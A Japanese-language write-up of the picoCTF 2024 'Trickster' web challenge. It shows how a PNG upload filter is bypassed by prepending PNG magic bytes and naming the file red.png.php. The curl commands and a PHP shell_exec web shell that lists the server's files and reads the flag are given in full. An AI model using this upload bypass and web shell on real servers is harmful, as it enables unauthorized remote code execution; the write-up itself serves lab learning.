WriteUp: picoCTF 2024 - Trickster
はじめに
こんにちは。CTF初心者のロイといいます。
今回はpicoCTFのTrickster(Medium, Web Exploitation)を解いたので、WriteUpを残しておきます。
解法だけでなく、なるべく思考の過程を残したいと思っていますので、ご参考になれば幸いです。
問題概要
Descriptionによると「画像を処理するWebアプリをみつけた!PNGだけだけどね!」といった感じです。
challenge instanceを起動すると、リンクが表示されます。
リンクをブラウザで開いてみると、こんな感じです。

htmlをみても、ほんとファイルをアップロードする機能だけですね。
とりあえずアップロードを試すか
一旦ファイルなしで、Upload Fileボタンを押してみました。

「ファイル名に'.png'が含まれてない」とのこと、ほんとPNGオンリーなんですね。
次に、適当なPNGファイルをアップロードしてみました。

有効なPNGファイルとのことでアップロードできました。
Webアプリは何を見てPNGファイルだと判断しているのか?
先ほど画面に出たメッセージだと、ファイル名に'.png'を含んでいればアップロードできると。
では、中身がテキストなのに、拡張子だけ.pngにしてもアップロードできるのか?
試しに、適当なテキストファイルを拡張子だけ.pngにしてアップロードしてみました。

なんと、有効なPNGじゃないと。ちゃんと判断してるな。
ん?74657374ってなんだ?
74657374は、16進数でASCIIに直すと「test」か。
先ほどアップロードしたテキストファイルの中身じゃないか!?
ということは、アップロードしたファイルの中身を見てPNGかどうか判断しているのか。
ちょっとここでPNGファイルの中身について勉強すると、PNGファイルにはファイルの先頭に8バイトの
89 50 4E 47 0D 0A 1A 0Aが存在しているらしい。
ASCII文字にすると
\x89PNG\r\n\x1a\nになる。
PNGって入っているんですねぇ~、勉強になる。
あれ?でも、どこにアップロードされてんのよ?
ここまでの調査で、ファイル名に'.png'を入れて、ファイル中身の先頭にPNGファイル特有の文字列を入れてやれば、多分どんなファイルもアップロードできそうなことがわかりました。
そして、アップしたファイルを実行してflag取れそうじゃないか?という思考までは来れました。
でも、アップしたファイルってどこにあるのよ?あと、サーバー側の処理は何で動いているの?
それを調べないと。。。
アップ先については、tmp、uploads、file、imagesとか適当に入れてみるか。
結果、/uploads/にファイルがアップロードされていることがわかりました。
また、ブラウザの開発者ツールでレスポンスヘッダを確認したところ、X-Powered-By: PHP/8.0.30 となっており、PHPが動いていることがわかりました。
では、実行可能ファイルをアップロードしていく!
手順としては、ファイル名に'.png'を含んで、ファイル先頭にPNGファイル文字列を入れて、PHPで何かコマンドを実行させてみる。
まずは適当なPNGファイルをviで開いてみる。

で、ファイル先頭行だけ残して、後ろにPHPのコマンドを入れます。
こんな感じ

保存したら、ファイル名を .png.php 拡張子に変更して、アップロードします。
$ curl -X POST http://atlas.picoctf.net:56965/ -F "file=@red.png.php" -o /dev/null -w '%{http_code}\n' -s
200
200が返って、無事アップロードできましたね。
次に、アップロードしたファイルを実行してみます。
$ curl -S http://atlas.picoctf.net:56965/uploads/red.png.php
�PNG
/var/www/html/uploads
無事、pwdコマンド実行されたようですね!
flagをまさぐる~
uploadsディレクトリにはアップロードしたファイルしかないみたいなので、更にその上をlsしてみます。
$ cat red.png.php
�PNG
<?php
echo shell_exec('ls -la /var/www/html');
?>
$ curl -X POST http://atlas.picoctf.net:56965/ -F "file=@red.png.php" -o /dev/null -w '%{http_code}\n' -s
200
$ curl -S http://atlas.picoctf.net:56965/uploads/red.png.php
�PNG
total 16
drwxrwxrwt 1 www-data www-data 21 Mar 11 2024 .
drwxr-xr-x 1 root root 18 Nov 21 2023 ..
-rw-r--r-- 1 root root 49 Mar 11 2024 MFRDAZLDMUYDG.txt
-rw-r--r-- 1 root root 1572 Feb 7 2024 index.php
-rw-r--r-- 1 root root 415 Feb 7 2024 instructions.txt
-rw-r--r-- 1 root root 62 Feb 7 2024 robots.txt
drwxr-xr-x 1 www-data root 40 May 15 08:37 uploads
なんだか MFRDAZLDMUYDG.txt って怪しいですよね。
中身を見てみましょう。
$ cat red.png.php
�PNG
<?php
echo shell_exec('cat /var/www/html/MFRDAZLDMUYDG.txt');
?>
$ curl -X POST http://atlas.picoctf.net:59759/ -F "file=@red.png.php" -o /dev/null -w '%{http_code}\n' -s
200
$ curl -S http://atlas.picoctf.net:59759/uploads/red.png.php
�PNG
/* picoCTF{ここはマスクしておきますね} */
無事flagをゲットしました!
おまけ
ドキュメントルートディレクトリに instructions.txt というファイルもありまして、それも見てみると
$ curl -S http://atlas.picoctf.net:59759/uploads/red.png.php
�PNG
Let's create a web app for PNG Images processing.
It needs to:
Allow users to upload PNG images
look for ".png" extension in the submitted files
make sure the magic bytes match (not sure what this is exactly but wikipedia says that the first few bytes contain 'PNG' in hexadecimal: "50 4E 47" )
after validation, store the uploaded files so that the admin can retrieve them later and do the necessary processing.
PNGの先頭バイトはマジックバイトって言うみたいですね。
参考資料
PNGファイルについて:https://qiita.com/juno_rmks/items/a707228a0682f529298d